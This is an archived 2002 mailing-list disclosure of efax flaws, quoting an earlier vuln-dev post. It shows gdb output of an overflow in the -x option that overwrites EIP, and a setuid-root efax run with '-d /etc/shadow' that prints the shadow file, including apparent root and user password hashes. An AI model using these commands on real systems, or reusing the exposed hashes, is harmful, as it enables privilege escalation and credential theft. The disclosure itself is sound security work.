I found a buffer overflow in efax a while back, reported it and didn't get a response. Here's the original email: ----------------------------------------------- To: edc@cce.com Subject: Efax Buffer Overflow You may or not be interested (as this has no major impact on the outside world), but there is a buffer overflow in the -x function of efax. Obviously, efax should not be setuid root, but I can imagine a situation with an administrator doing so to give "trusted" users access to the fax facility. ----------------------------------------------- And here's more detail: # cat /etc/mandrake-release Linux Mandrake release 8.0 (Traktopel) for i586 Starting program: /usr/bin/efax -x `perl -e "print 'A' x 1200"` /usr/bin/efax: Wed Jan 16 09:54:49 2002 efax v 0.9 Copyright 1999 Ed Casas efax: 54:49 Error: can't open pre-lock file AAAA..[A's Cut]..AAAATMP..25717: File name too long Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) inf reg .. stuff cut .. edx 0x65656565 1701143909 ebx 0x41414141 1094795585 esp 0xbffefd58 0xbffefd58 ebp 0x41414141 0x41414141 esi 0x41414141 1094795585 edi 0x41414141 1094795585 eip 0x41414141 0x41414141 .. stuff cut .. Digital Shadow http://www.ministryofpeace.co.uk/ -----Original Message----- From: H D Moore <sflist@digitaloffense.net> Date: Tue, 15 Jan 2002 18:44:57 -0600 To: VULN-DEV@SECURITYFOCUS.COM Subject: efax > Didn't see this mentioned before... > > hdm@sliver:~ > which efax > /opt/kde2/bin/efax > hdm@sliver:~ > ls -la /opt/kde2/bin/efax > -rwsr-xr-x 1 root root 96689 Aug 16 10:23 /opt/kde2/bin/efax > hdm@sliver:~ > efax -h > efax: Tue Jan 15 18:43:28 2002 efax v 0.9a-001114 Copyright 1999 Ed Casas > efax: Tue Jan 15 18:43:28 2002 efax v 0.9a-001114 Copyright 1999 Ed Casas > efax: 43:28 compiled Aug 16 2001 10:23:23 > efax: 43:28 Error: no argument for (-h) > Usage: > efax [ option ]... [ -t num [ file... ] ] > Options: > -a str use command ATstr to answer > -c cap set modem and receive capabilites to cap > -d dev use modem on device dev > -e cmd exec "/bin/sh -c cmd" for voice calls > -f fnt use (PBM) font file fnt for headers > -g cmd exec "/bin/sh -c cmd" for data calls > -h hdr use page header hdr (use %d's for current page/total pages) > -i str send modem command ATstr at start > -j str send modem command ATstr after set fax mode > -k str send modem command ATstr when done > -l id set local identification to id > -o opt use protocol option opt: > 0 use class 2.0 instead of class 2 modem commands > 1 use class 1 modem commands > 2 use class 2 modem commands > a if first [data mode] answer attempt fails retry as fax > e ignore errors in modem initialization commands > f use virtual flow control > h use hardware flow control > l halve lock file polling interval > n ignore page retransmission requests > r do not reverse received bit order for Class 2 modems > x use XON instead of DC2 to trigger reception > z add 100 ms to pause before each modem comand (cumulative) > -q ne ask for retransmission if more than ne errors per page > -r pat save received pages into files pat.001, pat.002, ... > -s share (unlock) modem device while waiting for call > -v lvl print messages of type in string lvl (ewinchamr) > -w don't answer phone, wait for OK or CONNECT instead > -x fil use uucp-style lock file fil > Commands: > -t dial num and send fax image files file... > efax: 43:28 done, returning 2 (unrecoverable error) > hdm@sliver:~ > efax -d /etc/shadow > efax: Tue Jan 15 18:43:35 2002 efax v 0.9a-001114 Copyright 1999 Ed Casas > efax: Tue Jan 15 18:43:35 2002 efax v 0.9a-001114 Copyright 1999 Ed Casas > efax: 43:35 compiled Aug 16 2001 10:23:23 > efax: 43:35 opened /etc/shadow > efax: 43:35 Error: tcgetattr on fd=3 failed: Inappropriate ioctl for device > efax: 43:35 Warning: unexpected response "root:sjSs9mscTsosA:11521:0:10000::::" > efax: 43:35 Warning: unexpected response "bin:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "daemon:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "lp:*:9473:0:10000::::" > efax: 43:35 Warning: unexpected response "news:*:8902:0:10000::::"; > efax: 43:35 Warning: unexpected response "uucp:*:0:0:10000::::" > efax: 43:35 Warning: unexpected response "games:*:0:0:10000::::" > efax: 43:35 Warning: unexpected response "man:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "at:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "lnx:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "mdom:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "yard:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "wwwrun:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "squid:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "postgres:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "fax:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "gnats:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "empress:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "adabas:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "amanda:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "ixess:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "irc:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "ftp:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "firewall:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "informix:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "named:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "virtuoso:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "fnet:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "gdm:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "postfix:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "cyrus:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "nps:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "skyrix:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "dbmaker:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "fixadm:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "fib:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "fixlohn:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "mysql:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "dpbox:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "ingres:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "codadmin:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "zope:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "vscan:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "wnn:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "pop:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "perforce:*:8902:0:10000::::" > efax: 43:35 Warning: unexpected response "nobody:*:0:0:10000::::" > efax: 43:35 Warning: unexpected response "hdm:snBsN0stfzsMg:11564:0:99999:7:0::" > efax: 43:35 Warning: unexpected response "oracle:!:11556:0:99999:3:0::" > efax: 43:35 Warning: unexpected response "yaku:!:11636:0:99999:3:0::" > efax: 43:35 Error: tcgetattr on fd=3 failed: Inappropriate ioctl for device > efax: 43:35 sync: dropping DTR > efax: 43:35 Error: tcgetattr on fd=3 failed: Inappropriate ioctl for device > efax: 43:36 Error: tcgetattr on fd=3 failed: Inappropriate ioctl for device > efax: 43:36 Error: tcgetattr on fd=3 failed: Inappropriate ioctl for device > efax: 43:36 sync: sending escapes > efax: 43:36 Error: tcgetattr on fd=3 failed: Inappropriate ioctl for device > efax: 43:36 Error: tcgetattr on fd=3 failed: Inappropriate ioctl for device > efax: 43:37 Error: sync: modem not responding > efax: 43:37 Error: tcgetattr on fd=3 failed: Inappropriate ioctl for device > efax: 43:37 done, returning 2 (unrecoverable error) > > -- > H D Moore > http://www.digitaldefense.net - work > http://www.digitaloffense.net - play > > -- _______________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup 1 cent a minute calls anywhere in the U.S.! http://www.getpennytalk.com/cgi-bin/adforward.cgi?p_key=RG9853KJ&url=http://www.getpennytalk.com
